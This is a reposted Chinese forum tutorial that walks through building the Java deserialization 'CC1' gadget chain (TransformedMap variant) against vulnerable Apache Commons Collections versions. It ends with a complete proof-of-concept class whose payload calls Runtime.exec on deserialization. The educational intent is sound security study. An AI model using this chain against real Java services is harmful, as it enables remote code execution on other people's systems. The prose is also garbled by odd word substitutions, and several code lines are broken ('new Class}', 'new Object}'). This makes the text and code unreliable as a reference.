科技颠覆者 发表于 2024-6-9 17:47:11

Java安全 反序列化(3) CC1链-TransformedMap版

Java安全 反序列化(3) CC1链-TransformedMap版

本文实验从CC1的发掘思绪出发,理解CC1的实现原理


Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的办理各种现实题目的Java开源代码。
Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大进步了性能。
   实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤
默认情况看不到AnnotationInvocationHandler类的源码,是因为jdk中没有sun包下的源码,必要手动下载该版本的openjdk源码
jdk版本及sun源码下载链接:https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码:8888
配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip
2.解压jdk8-sun-source.zip 中class.rar中的sun源码
https://img-blog.csdnimg.cn/img_convert/d77d325956f946f1fdfa6684dc13e16b.png
3.替换 jdk1.8.0_65/src/中的sun文件夹
4.idea中添加源代码
https://img-blog.csdnimg.cn/img_convert/16efe9c423b253f2b74ede2033d2c03c.png
可以看到rt.jar包中任意源代码(而不是.class反编译文件),就是成功了
https://img-blog.csdnimg.cn/img_convert/0f700040b034b801c63adc4d01f26651.png
访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
⾸先在设置在pom.xml环境
<dependencies>
      <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
      </dependency>
    </dependencies>
安装commons-collections成功后,环境配置结束
如今正式学习Java反序列化 CC链
前记 为什么可以利用

Apache Commons Collections中有⼀个特别的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。
一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE
一般执行命令 Runtime.getRuntime().exec("calc");
如此简朴简洁,但是为什么我们不直接利用了?
https://img-blog.csdnimg.cn/img_convert/f204d9b8151688b607167a7259f0150b.png
因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口,不可以被序列化
https://img-blog.csdnimg.cn/img_convert/2ab451a04c27d592c3e19f0999e6e489.png
这个过程中不可序列化
所以我们可以通过反射调用来进行反序列化
https://img-blog.csdnimg.cn/img_convert/3f325f1b4c3538d5b848735103844562.png
Class实现了Serialiable接口 可以实现序列化
Class Runtime = Class.forName("java.lang.Runtime");
      Method getRuntime = Runtime.getMethod("getRuntime");
      Runtime runtime =(Runtime) getRuntime.invoke(null, null);
      Method exec = Runtime.getMethod("exec", String.class);
      exec.invoke(runtime, "calc");
https://img-blog.csdnimg.cn/img_convert/03b252816144bc67474c28d59fdfe0a7.png可以通过反射执行任意命令
在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数
https://img-blog.csdnimg.cn/img_convert/dab417e7644a947357fd04f965c5249a.png
我们可以实验一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数继承三个参数
https://img-blog.csdnimg.cn/img_convert/0f8678da4960e09c7e0396c162253298.png

[*]1.String 函数名 exec
[*]Class[] 参数类型 String.class
[*]Object[] 详细参数值 calc
https://img-blog.csdnimg.cn/img_convert/abc7b0d56c22a5b154c837fd2d38800d.png
继承对象,对对象执行函数
      Runtime r=Runtime.getRuntime();
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
仍然可以执行体系命令
https://img-blog.csdnimg.cn/img_convert/ec0c803fe78add3b00510fd898fdac06.png
在CC链接口Transformer实现类中,我们重点关注几个实现类

https://img-blog.csdnimg.cn/img_convert/30568cc3b2a5904564be215172ba6a4a.png
1.ConstantTransformer实现类

https://img-blog.csdnimg.cn/img_convert/f95da5dd470a6e6fcf8c32239b266244.png
留意,和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象(这一点很紧张,后面会应用)
2.InvokeTransformer实现类

前面探究过,通过反射调用任意的函数
相称于末了加了一个invoke方法调用
3.ChainedTransformer实现类(链式,有想法吗)

上篇文章详细调试过跟踪过ChainedTransformer的实现
https://img-blog.csdnimg.cn/img_convert/f7d5feac77635b8fad5dba16cd088ea4.png
构造函数继承Transformer[] 数组进行赋值
https://img-blog.csdnimg.cn/img_convert/946d2575a6b05f3e0e21045b6fb4be5c.png
我们可以简朴理解为一个**迭代器 **的 链式的调用
   后一个对象.transform(前一个对象的.transform方法返回的对象)
通过这个ChainTransformer实现类可以实现(一节更比三节强的观念)
通过ChainTransformer.transform可以把传入Transformer[]逐一调用transform方法,而且实现了 对象的传递
如今我们可以通过链式+反射调用任意命令

      Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

      };
      ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
      chainedTransformer.transform("aaa");
留意一点chainedTransformer.transform("aaa");aaa可以替换为任意值
先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象(和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象,回顾一下前面)
二. CC1发掘原理分析&Poc编写

如今我们开始分析一下CC1是怎样被发现和利用的,重点在于学习前人发现的思绪
时刻记住我们的目的
这里我们先利用 单个InvokerTransformer
Runtime r=Runtime.getRuntime();
      InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
走一遍流程
我们要利用transform执行任意命令
可以查看什么地方应用了transform (这里偏向测试map)
因为Map作为键值对的映射关系可以包罗任意类
https://img-blog.csdnimg.cn/img_convert/cf5acde28648b9c1eb610a88f1475b8c.png
可以利用的有DefaultedMap,LazyMap,TransformedMap
这里我们探究一下TransformedMap,其他下篇文章写
在TransformedMap中的protected方法(代表仅能被自身调用)checkSetValue传入
https://img-blog.csdnimg.cn/img_convert/4f666cb58cf20306cf0ae5bef464d69c.png
我们渴望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象
https://img-blog.csdnimg.cn/img_convert/76388b0d9c88f0133de32e23957408fa.png
构造函数进行传值,但是是protected仅能被自身调用,向上寻找
https://img-blog.csdnimg.cn/img_convert/2fa6b79bb1d91bfa7d942791571b3fa2.png
发现decorate的public 静态方法 可以返回 调用 构造方法
参数继承(Map map, Transformer keyTransformer, Transformer valueTransformer)
这里和keyTransformer 关系不大,可以设为空
      Runtime r=Runtime.getRuntime();
      InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
      HashMap<Object,Object> hashmap=new HashMap<>();      hashmap.put("key","value");      TransformedMap.decorate(hashmap,null,invokerTransformer); https://img-blog.csdnimg.cn/img_convert/34b9dab8be2515a5402ad374bfe5e487.png
等价于InvokerTransformer.transform()
如今控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)
查找用法
https://img-blog.csdnimg.cn/img_convert/45690da485568c0c9366aeba34ea6744.png
可以发如今AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法
而AbstractInput恰好又是TransformedMap的父类
https://img-blog.csdnimg.cn/img_convert/5ed7b1476f35243f850fbeb06de95fdd.png
这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口
https://img-blog.csdnimg.cn/img_convert/d197ddd419ed9da585c025f9f5672272.png
我们可以通过遍历TransformedMap的Entry实现调用setValue方法
   原因:因为如果我们遍历TransformedMap的Entry调用setValue,子类继承了父类的public方法(setValue),而且实现了对Map.Entry方法的重写,可以实现调用setValue方法
调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1
因此编写payload
      Runtime r=Runtime.getRuntime();
      InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
      HashMap<Object,Object> hashmap=new HashMap<>();      hashmap.put("key","value");      Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);      for(Map.Entry entry:transformedMap.entrySet()){            entry.setValue(r);      } 传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)
但是我们怎样实如今readObject的时间调用setValue方法
经过寻找我们发现 AnnotationInvocationHandler
https://img-blog.csdnimg.cn/img_convert/178defe772f9940b1a87f4811652662e.png
1.重写了readobject
2.调用了memberValue.setValue()
而恰好我们可以控制memberValues的值
https://img-blog.csdnimg.cn/img_convert/5fa9532cdb90afd3cb67f18d7050e9d1.png
这不是妥妥的入口类吗
这里继承两个参数Class<? extends Annotation> type, Map<String, Object> memberValues
Annotation是Java的注解,比如@Override重写等
但是我们只能 用反射操作入口类
https://img-blog.csdnimg.cn/img_convert/1661a6abab00643a7ae67c5657605383.png
因为这里没有修饰词,默认是default 只能通过在包内访问
分析一下readobject类
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
      annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
      // Class is no longer an annotation type; time to punch out
      throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
      String name = memberValue.getKey();
      Class<?> memberType = memberTypes.get(name);
      if (memberType != null) {// i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                  new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
      }
    }
}
想要走到memberValue.setValue必要走过两个判定
https://img-blog.csdnimg.cn/img_convert/e59423720e507b8acf1893677c047b59.png
在 遍历memberValues.entrySet()的过程中
String name = memberValue.getKey();//获取Map键值
            Class<?> memberType = memberTypes.get(name);//获取Java注解的类型
            if (memberType != null) {
                Object value = memberValue.getValue();
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取了memeberValue键的值作为name,在注解中寻找即是注解的name的值
   判定不为空即可
我们必要获取注解中存在键值对的注解,这里我们可以用 @Target
https://img-blog.csdnimg.cn/img_convert/e1066147abf5fbfad484eddd33242cbc.png
@Target 存在value的键 为了memberType 包管不为空,所以将hashmap.put("value","value");设为value
包管Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以包管memberTypes.get(name)可以获取到值
第二个if判定肯定是可以通过的 member肯定是存在的
https://img-blog.csdnimg.cn/img_convert/54ba85203c899e3b26b5dce8447f0038.png
这里setValue的值不可控,但是对我们利用完全不影响
虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么
第三次重复了
和传入setValue的值没有关系
我们将InvokerTransformer替换为ChainTransformer
实验通过反射建构AnnotationInvocationHandler 类
https://img-blog.csdnimg.cn/img_convert/cb35caf19d52337e109aebe99c01e9f0.png
继承Class<? extends Annotation> type, Map<String, Object> memberValues
通过反射创建AnnotationInvocationHandler实例
       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
      annotationDeclaredConstructor.setAccessible(true);
      Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
对annotationInstantce进行序列化后反序列化后执行命令
https://img-blog.csdnimg.cn/img_convert/6474f7256a058e41f48cb6e06731986c.png
成功手写CC1链的Poc
三.CC1完备利用链Poc

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.instrument.TransformerManager;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC1 {    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {      //Runtime.getRuntime().exec("calc");//      Class Runtime = Class.forName("java.lang.Runtime");//      Method getRuntime = Runtime.getMethod("getRuntime");//      Runtime runtime =(Runtime) getRuntime.invoke(null, null);//      Method exec = Runtime.getMethod("exec", String.class);//      exec.invoke(runtime, "calc");//      Runtime r=Runtime.getRuntime();//      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);      Transformer[] transformers=new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})      };      ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//      ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");//      Runtime r=Runtime.getRuntime();//      InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});      HashMap<Object,Object> hashmap=new HashMap<>();      hashmap.put("value","value");      Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);//      for(Map.Entry entry:transformedMap.entrySet()){//            entry.setValue(r);       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
      annotationDeclaredConstructor.setAccessible(true);
      Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
      serialize(annotationInstantce);      unserialize();    }    public static void serialize(Object obj) throws IOException {      ObjectOutputStream oos = new ObjectOutputStream(new                FileOutputStream("ser.bin"));      oos.writeObject(obj);      oos.close();    }    public static void unserialize() throws IOException, ClassNotFoundException    {      ObjectInputStream ois = new ObjectInputStream(new                FileInputStream("ser.bin"));      ois.readObject();      ois.close();    }    } 以后遇到其他类似题,就可以参考Poc了
反思总结

核心概念

[*]入口类必须重写readObject
[*]通过不同类的同名方法进行跳转毗连
下一篇我们从LazyMap出发实现RCE

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Java安全 反序列化(3) CC1链-TransformedMap版